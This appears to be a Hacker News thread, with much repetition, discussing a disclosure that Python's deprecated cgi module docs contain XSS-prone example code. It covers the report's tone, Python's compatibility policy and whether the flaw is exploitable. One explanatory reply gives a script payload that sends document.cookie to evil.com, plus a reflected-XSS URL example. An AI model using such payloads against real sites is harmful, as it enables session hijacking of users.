ISTM the post has a somewhat nasty and judgmental tone. Instead of saying, "ha ha, gotcha!", an issue could have been filed on GitHub and it would have been quickly fixed. Instead, the OP seems to be publicity seeking. IMO, this isn't worthy of being on Hacker News.
Plus the Full Disclosure mailing list is generally for products, or at least open source projects. "Your docs could lead people to do bad things" is a serious stretch.
Maybe it wouldn't survive that long if people opened issues for this sort of thing in appropriate places (perhaps https://github.com/python/docs-community ), rather than spontaneously expecting an underfunded open source project to think about the documentation of decades-old functionality that barely anyone would consider using for new code (and which has been removed in the latest version anyway).
(At this scale, or anywhere close to it, the only OSS orgs I would consider not underfunded are Linux and Mozilla. And if you count non-code Creative Commons stuff, Wikimedia.)
"If you don't Read The Fine Manual then you are uninformed, if you read
it you are disinformed."
This is a gem! There should be more disclaimers in the documentation about potential vulnerabilities like XSS.
I'm not. Python takes great strides to ensure backwards compatibility - because there's seemingly endless demand for it. Keep in mind 2.7 got a patch months after its planned EOL, which was already extended an extra 5 years from the regular release schedule, and major projects like Pip maintained support for well beyond that point, and people still complained.
There's significant hysteresis in the project: a strong reluctance to remove things that they would never even remotely consider adding today if they didn't already exist. After all: if it already exists, someone might still be using it (and it's harder to gather that kind of information, the older the thing in question is); but adding it new would create a maintenance burden (never mind that the old rarely-used stuff doesn't really get maintained).
if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited:
1. stored XSS (input is saved and later displayed)
Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.
Example: attacker submits <script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.
2. Immediate XSS
If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.
you cant send post parameters in a URL, those would be get parameters. Now if the field storage method also parsed get parameters I can see that being XSS, I didn’t consider that.
it’s definitely not being stored if it’s immediately printed like in the example , so that’s not a problem
and you don’t need a browser exploit for XSS to be a problem on its own, I just wasn’t sure if that example counts.
ISTM the post has a somewhat nasty and judgmental tone. Instead of saying, "ha ha, gotcha!", an issue could have been filed on GitHub and it would have been quickly fixed. Instead, the OP seems to be publicity seeking. IMO, this isn't worthy of being on Hacker News.
Plus the Full Disclosure mailing list is generally for products, or at least open source projects. "Your docs could lead people to do bad things" is a serious stretch.
>I am surprised this survived so long.
Maybe it wouldn't survive that long if people opened issues for this sort of thing in appropriate places (perhaps https://github.com/python/docs-community ), rather than spontaneously expecting an underfunded open source project to think about the documentation of decades-old functionality that barely anyone would consider using for new code (and which has been removed in the latest version anyway).
(At this scale, or anywhere close to it, the only OSS orgs I would consider not underfunded are Linux and Mozilla. And if you count non-code Creative Commons stuff, Wikimedia.)
"If you don't Read The Fine Manual then you are uninformed, if you read it you are disinformed." This is a gem! There should be more disclaimers in the documentation about potential vulnerabilities like XSS.
My first thought was "who's still using CGI?" then I read the docs:
> Deprecated since version 3.11, will be removed in version 3.13
im surprised it made it anywhere in 3.x
I'm not. Python takes great strides to ensure backwards compatibility - because there's seemingly endless demand for it. Keep in mind 2.7 got a patch months after its planned EOL, which was already extended an extra 5 years from the regular release schedule, and major projects like Pip maintained support for well beyond that point, and people still complained.
There's significant hysteresis in the project: a strong reluctance to remove things that they would never even remotely consider adding today if they didn't already exist. After all: if it already exists, someone might still be using it (and it's harder to gather that kind of information, the older the thing in question is); but adding it new would create a maintenance burden (never mind that the old rarely-used stuff doesn't really get maintained).
does it count as cross site scripting if there is no way to send the result to someone else?
if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited:
1. stored XSS (input is saved and later displayed)
Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.
Example: attacker submits <script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.
2. Immediate XSS
If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.
Eg.:
https://example.com/cgi-script?name=<script>fetch('http://ev...
If the CGI script prints this without sanitization, the victim's browser executes the script, jackpot you get their session cookies.
3. Browser Exploits
And for all of the above, you could use an XSS payload with a 0 day browser exploit to gain whatever privileges.
you cant send post parameters in a URL, those would be get parameters. Now if the field storage method also parsed get parameters I can see that being XSS, I didn’t consider that.
it’s definitely not being stored if it’s immediately printed like in the example , so that’s not a problem
and you don’t need a browser exploit for XSS to be a problem on its own, I just wasn’t sure if that example counts.
A content security policy should prevent that specific attack vector, though similar might work.